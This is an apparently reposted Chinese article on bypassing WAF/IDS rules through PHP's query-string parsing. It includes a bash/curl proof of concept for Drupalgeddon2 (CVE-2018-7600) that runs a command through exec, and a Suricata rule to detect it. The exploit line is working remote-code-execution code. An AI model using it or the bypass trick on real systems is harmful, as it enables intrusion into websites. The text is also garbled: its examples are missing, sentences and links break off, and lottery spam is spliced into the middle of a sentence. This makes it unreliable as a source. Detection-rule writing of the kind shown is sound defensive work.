我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] = “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线会转换为Array([news_id] = 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

  HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

  在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。

  Suricata官方安装流程点击[这里](。对于Drupal,我运行了一个Vulhub容器,你可以在下载:

  首先,让我们尝试利用CVE-2018-7600。11678福马堂开奖结果开奖记录!一个利用curl命令的小型bash脚本,比如:

  #!/bin/bash URL=/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax QSTRING=form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]= COMMAND=id curl -v -d ${QSTRING}${COMMAND}

  alert http any any - $HOME_NET any (\ msg: Possible Drupalgeddon2 attack;\ flow: established, to_server;\ content: /user/register; http_uri;\ content: POST; http_method;\ pcre: /form_id=user_register_form/Pi;\ sid: 10002807;\ rev: 1;\ )

  声明:该文观点仅代表作者本人,搜狐号系信息发布平台,搜狐仅提供信息存储空间服务。